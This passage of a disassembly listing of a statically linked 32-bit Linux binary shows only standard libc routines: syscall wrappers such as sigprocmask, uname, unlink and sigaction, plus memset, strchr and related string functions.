		mov	eax, 0FFFFFFFFh

loc_805735C:				; CODE XREF: setsid+Ej
		mov	esp, ebp
		pop	ebp
		retn
setsid		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sigprocmask	proc near		; CODE XREF: sleep+31p	sleep+101p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 7Eh
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_sigprocmask
		mov	edx, eax
		test	edx, edx
		jge	short loc_805738A
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_805738A:				; CODE XREF: sigprocmask+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sigprocmask	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

uname		proc near		; CODE XREF: gethostname+19p
					; sub_8065C84+19p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 7Ah
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_newuname
		mov	edx, eax
		test	edx, edx
		jge	short loc_80573B4
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80573B4:				; CODE XREF: uname+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
uname		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

unlink		proc near		; CODE XREF: main+5D6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 0Ah
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_unlink
		mov	edx, eax
		test	edx, edx
		jge	short loc_80573E0
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80573E0:				; CODE XREF: unlink+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
unlink		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

write		proc near		; CODE XREF: sub_8054EC8+341p
					; sub_8054EC8+3CEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 4
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_write
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057412
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057412:				; CODE XREF: write+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
write		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

alarm		proc near		; CODE XREF: sleep+7Bp	sleep+9Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 1Bh
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_alarm
		mov	edx, eax
		test	edx, edx
		jge	short loc_805743C
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_805743C:				; CODE XREF: alarm+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
alarm		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

time		proc near		; CODE XREF: main+117p	main+2FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 0Dh
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_time
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057468
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057468:				; CODE XREF: time+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
time		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

writev		proc near		; CODE XREF: sub_8056E70+59p
					; sub_8056E70+89p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 92h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_writev
		mov	edx, eax
		test	edx, edx
		jge	short loc_805749A
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_805749A:				; CODE XREF: writev+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
writev		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

select		proc near		; CODE XREF: sub_804EA0C+6DEp
					; usleep+40p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 52h
		lea	ebx, [ebp+arg_0]
		int	80h		; LINUX	- old_select
		test	eax, eax
		jge	short loc_80574BE
		neg	eax
		mov	__errno, eax
		mov	eax, 0FFFFFFFFh

loc_80574BE:				; CODE XREF: select+10j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
select		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sigaction	proc near		; CODE XREF: sleep+5Cp	sleep+95p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		jz	short loc_80574EF
		test	byte ptr [ecx+0Bh], 40h
		jz	short loc_80574E8
		mov	dword ptr [ecx+0Ch], offset sub_80575A8
		jmp	short loc_80574EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80574E8:				; CODE XREF: sigaction+12j
		mov	dword ptr [ecx+0Ch], offset sub_80575B0

loc_80574EF:				; CODE XREF: sigaction+Cj
					; sigaction+1Bj
		mov	eax, 43h
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_sigaction
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_8057510
		neg	ebx
		mov	__errno, ebx
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8057512
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057510:				; CODE XREF: sigaction+35j
		xor	eax, eax

loc_8057512:				; CODE XREF: sigaction+44j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sigaction	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sigsuspend	proc near		; CODE XREF: sleep+A4p	sleep+BCp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, 48h
		xor	ebx, ebx
		xor	ecx, ecx
		mov	edx, [ebp+arg_0]
		mov	edx, [edx]
		int	80h		; LINUX	- sys_sigsuspend
		mov	edi, eax
		test	edi, edi
		jge	short loc_8057548
		neg	edi
		mov	__errno, edi
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805754A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8057548:				; CODE XREF: sigsuspend+1Aj
		mov	eax, edi

loc_805754A:				; CODE XREF: sigsuspend+29j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sigsuspend	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

_exit		proc near		; CODE XREF: main+5E0p	main+68Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 1
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_exit
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
_exit		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__setfpucw	proc near		; CODE XREF: start+37p

var_2		= word ptr -2
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	dx, [ebp+arg_0]
		test	dx, dx
		jnz	short loc_8057580
		mov	edx, 137Fh	; _FPU_DEFAULT

loc_8057580:				; CODE XREF: __setfpucw+Dj
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		and	ax, 0F0C0h	; _FPU_RESERVED
		mov	[ebp+var_2], ax
		mov	eax, edx
		and	ax, 0F3Fh
		mov	dx, [ebp+var_2]
		or	ax, dx
		mov	[ebp+var_2], ax
		fldcw	[ebp+var_2]
		mov	esp, ebp
		pop	ebp
		retn
__setfpucw	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

sub_80575A8	proc near		; DATA XREF: sigaction+14o
		add	esp, 4
		pop	eax
		pop	ecx
		pop	edx
		popf
		retn
sub_80575A8	endp ; sp =  14h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

sub_80575B0	proc near		; DATA XREF: sigaction+20o
		add	esp, 4
		call	sub_8065C54
		add	esp, 4
		pop	eax
		pop	ecx
		pop	edx
		popf
		retn
sub_80575B0	endp ; sp =  18h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80575C0	proc near		; CODE XREF: sub_804F734+43p
					; vfprintf+135Ep ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		cmp	esi, 4
		jb	loc_805771F
		mov	dh, dl
		mov	edi, edx
		shl	edx, 10h
		mov	dx, di
		test	al, 3
		jz	loc_80576B6
		cmp	[eax], dl
		jz	loc_8057758
		inc	eax
		dec	esi
		jz	loc_8057738
		test	al, 3
		jz	loc_80576B6
		cmp	[eax], dl
		jz	loc_8057758
		inc	eax
		dec	esi
		jz	loc_8057738
		test	al, 3
		jz	loc_80576B6
		cmp	[eax], dl
		jz	loc_8057758
		inc	eax
		dec	esi
		jmp	loc_80576B6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 90h,	8Dh, 0B4h, 26h,	4 dup(0)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057630:				; CODE XREF: sub_80575C0+F9j
		mov	ecx, [eax]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	loc_8057745
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057745
		mov	ecx, [eax+4]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	loc_8057742
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057742
		mov	ecx, [eax+8]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	loc_805773F
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_805773F
		mov	ecx, [eax+0Ch]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	loc_805773C
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_805773C
		add	eax, 10h

loc_80576B6:				; CODE XREF: sub_80575C0+23j
					; sub_80575C0+3Bj ...
		sub	esi, 10h
		jnb	loc_8057630
		cmp	esi, 0FFFFFFF4h
		jb	short loc_805771F
		mov	ecx, [eax]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	short loc_8057745
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057745
		add	eax, 4
		cmp	esi, 0FFFFFFF8h
		jb	short loc_805771F
		mov	ecx, [eax]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	short loc_8057745
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057745
		add	eax, 4
		cmp	esi, 0FFFFFFFCh
		jb	short loc_805771F
		mov	ecx, [eax]
		mov	edi, 0FEFEFEFFh
		xor	ecx, edx
		add	edi, ecx
		jnb	short loc_8057745
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057745
		add	eax, 4

loc_805771F:				; CODE XREF: sub_80575C0+11j
					; sub_80575C0+102j ...
		and	esi, 3
		jz	short loc_8057738
		cmp	[eax], dl
		jz	short loc_8057758
		inc	eax
		dec	esi
		jz	short loc_8057738
		cmp	[eax], dl
		jz	short loc_8057758
		inc	eax
		dec	esi
		jz	short loc_8057738
		cmp	[eax], dl
		jz	short loc_8057758

loc_8057738:				; CODE XREF: sub_80575C0+33j
					; sub_80575C0+4Bj ...
		xor	eax, eax
		jmp	short loc_8057758
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805773C:				; CODE XREF: sub_80575C0+DEj
					; sub_80575C0+EDj
		add	eax, 4

loc_805773F:				; CODE XREF: sub_80575C0+BDj
					; sub_80575C0+CCj
		add	eax, 4

loc_8057742:				; CODE XREF: sub_80575C0+9Cj
					; sub_80575C0+ABj
		add	eax, 4

loc_8057745:				; CODE XREF: sub_80575C0+7Bj
					; sub_80575C0+8Aj ...
		test	cl, cl
		jz	short loc_8057758
		inc	eax
		test	ch, ch
		jz	short loc_8057758
		inc	eax
		test	ecx, 0FF0000h
		jz	short loc_8057758
		inc	eax

loc_8057758:				; CODE XREF: sub_80575C0+2Bj
					; sub_80575C0+43j ...
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80575C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

memset		proc near		; CODE XREF: main+6Fp sub_8049174+D1p	...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_8]
		mov	edi, esi
		movzx	eax, [ebp+arg_4]
		cld
		cmp	ebx, 0Bh
		jbe	short loc_80577A3
		mov	edx, eax
		shl	edx, 8
		or	eax, edx
		mov	edx, eax
		shl	edx, 10h
		or	eax, edx
		mov	edx, esi
		neg	edx
		and	edx, 3
		sub	ebx, edx
		mov	ecx, edx
		repe stosb
		mov	edx, ebx
		shr	edx, 2
		mov	ecx, edx
		repe stosd
		and	ebx, 3

loc_80577A3:				; CODE XREF: memset+16j
		mov	ecx, ebx
		repe stosb
		mov	eax, esi
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
memset		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0Dh dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80577C0	proc near		; CODE XREF: sub_8054EC8+3A6p
					; sub_805A254+85p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		test	byte ptr [ecx],	0FFh
		jz	loc_8057964
		test	dl, 3
		jz	short loc_8057813
		test	byte ptr [edx],	0FFh
		jz	loc_8057889
		inc	edx
		test	dl, 3
		jz	short loc_8057813
		test	byte ptr [edx],	0FFh
		jz	loc_8057889
		inc	edx
		test	dl, 3
		jz	short loc_8057813
		test	dword ptr [edx], 0FFh
		jz	loc_8057889
		inc	edx
		jmp	short loc_8057813
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	74h, 26h, 0, 8Dh, 0B4h,	26h, 4 dup(0)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057810:				; CODE XREF: sub_80577C0+ACj
		add	edx, 10h

loc_8057813:				; CODE XREF: sub_80577C0+16j
					; sub_80577C0+25j ...
		mov	eax, [edx]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057877
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057877
		mov	eax, [edx+4]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057874
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057874
		mov	eax, [edx+8]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057871
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057871
		mov	eax, [edx+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_805786E
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	short loc_8057810

loc_805786E:				; CODE XREF: sub_80577C0+A1j
		add	edx, 4

loc_8057871:				; CODE XREF: sub_80577C0+8Aj
					; sub_80577C0+95j
		add	edx, 4

loc_8057874:				; CODE XREF: sub_80577C0+73j
					; sub_80577C0+7Ej
		add	edx, 4

loc_8057877:				; CODE XREF: sub_80577C0+5Cj
					; sub_80577C0+67j
		test	al, al
		jz	short loc_8057889
		inc	edx
		test	ah, ah
		jz	short loc_8057889
		inc	edx
		test	eax, 0FF0000h
		jz	short loc_8057889
		inc	edx

loc_8057889:				; CODE XREF: sub_80577C0+1Bj
					; sub_80577C0+2Aj ...
		sub	edx, ecx
		test	cl, 3
		jz	short loc_80578D7
		mov	al, [ecx]
		mov	[edx+ecx], al
		test	al, al
		jz	loc_8057964
		inc	ecx
		test	cl, 3
		jz	short loc_80578D7
		mov	al, [ecx]
		mov	[edx+ecx], al
		test	al, al
		jz	loc_8057964
		inc	ecx
		test	cl, 3
		jz	short loc_80578D7
		mov	al, [ecx]
		mov	[edx+ecx], al
		test	al, al
		jz	loc_8057964
		inc	ecx
		jmp	short loc_80578D7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0,	8Dh, 0B4h, 26h,	4 dup(0)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80578D0:				; CODE XREF: sub_80577C0+17Bj
		mov	[edx+ecx+0Ch], eax
		add	ecx, 10h

loc_80578D7:				; CODE XREF: sub_80577C0+CEj
					; sub_80577C0+E1j ...
		mov	eax, [ecx]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057946
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057946
		mov	[edx+ecx], eax
		mov	eax, [ecx+4]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057943
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057943
		mov	[edx+ecx+4], eax
		mov	eax, [ecx+8]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_8057940
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057940
		mov	[edx+ecx+8], eax
		mov	eax, [ecx+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, eax
		jnb	short loc_805793D
		xor	edi, eax
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	short loc_80578D0

loc_805793D:				; CODE XREF: sub_80577C0+170j
		add	ecx, 4

loc_8057940:				; CODE XREF: sub_80577C0+155j
					; sub_80577C0+160j
		add	ecx, 4

loc_8057943:				; CODE XREF: sub_80577C0+13Aj
					; sub_80577C0+145j
		add	ecx, 4

loc_8057946:				; CODE XREF: sub_80577C0+120j
					; sub_80577C0+12Bj
		mov	[edx+ecx], al
		or	al, al
		jz	short loc_8057964
		mov	[edx+ecx+1], ah
		or	ah, ah
		jz	short loc_8057964
		shr	eax, 10h
		mov	[edx+ecx+2], al
		or	al, al
		jz	short loc_8057964
		mov	[edx+ecx+3], ah

loc_8057964:				; CODE XREF: sub_80577C0+Dj
					; sub_80577C0+D7j ...
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80577C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strchr		proc near		; CODE XREF: _getnishost+DAp
					; res_init+30Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	dh, dl
		mov	ecx, edx
		shl	edx, 10h
		mov	dx, cx
		test	al, 3
		jz	short loc_80579D3
		mov	cl, [eax]
		cmp	dl, cl
		jz	loc_8057AD5
		or	cl, cl
		jz	loc_8057AAA
		inc	eax
		test	al, 3
		jz	short loc_80579D3
		mov	cl, [eax]
		cmp	dl, cl
		jz	loc_8057AD5
		or	cl, cl
		jz	loc_8057AAA
		inc	eax
		test	al, 3
		jz	short loc_80579D3
		mov	cl, [eax]
		cmp	dl, cl
		jz	loc_8057AD5
		or	cl, cl
		jz	loc_8057AAA
		inc	eax
		jmp	short loc_80579D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 90h,	8Dh, 74h, 26h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80579D0:				; CODE XREF: strchr+134j
		add	eax, 10h

loc_80579D3:				; CODE XREF: strchr+16j strchr+2Dj ...
		mov	ecx, [eax]
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	loc_8057AB7
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057AB7
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	loc_8057AAA
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057AAA
		mov	ecx, [eax+4]
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	loc_8057AB4
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_8057AB4
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8057AAA
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057AAA
		mov	ecx, [eax+8]
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8057AB1
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057AB1
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8057AAA
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057AAA
		mov	ecx, [eax+0Ch]
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8057AAE
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8057AAE
		xor	ecx, edx
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8057AAA
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	loc_80579D0

loc_8057AAA:				; CODE XREF: strchr+24j strchr+3Bj ...
		xor	eax, eax
		jmp	short loc_8057AD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057AAE:				; CODE XREF: strchr+113j strchr+11Ej
		add	eax, 4

loc_8057AB1:				; CODE XREF: strchr+E4j strchr+EFj
		add	eax, 4

loc_8057AB4:				; CODE XREF: strchr+ADj strchr+BCj
		add	eax, 4

loc_8057AB7:				; CODE XREF: strchr+6Ej strchr+7Dj
		test	cl, cl
		jz	short loc_8057AD5
		cmp	cl, dl
		jz	short loc_8057AAA
		test	ch, ch
		jz	short loc_8057AD4
		cmp	ch, dl
		jz	short loc_8057AAA
		shr	ecx, 10h
		test	cl, cl
		jz	short loc_8057AD3
		cmp	cl, dl
		jz	short loc_8057AAA
		inc	eax

loc_8057AD3:				; CODE XREF: strchr+15Cj
		inc	eax

loc_8057AD4:				; CODE XREF: strchr+151j
		inc	eax

loc_8057AD5:				; CODE XREF: strchr+1Cj strchr+33j ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
strchr		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8057ADC	proc near		; CODE XREF: gethostbyaddr+19Fp
					; sub_805CCB0+109p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld

loc_8057AE8:				; CODE XREF: sub_8057ADC+12j
		lodsb
		scasb
		jnz	short loc_8057AF4
		test	al, al
		jnz	short loc_8057AE8
		xor	eax, eax
		jmp	short loc_8057AF8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057AF4:				; CODE XREF: sub_8057ADC+Ej
		sbb	eax, eax
		or	al, 1

loc_8057AF8:				; CODE XREF: sub_8057ADC+16j
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8057ADC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

strncmp		proc near		; CODE XREF: res_init+1DFp
					; res_init+28Ap ...

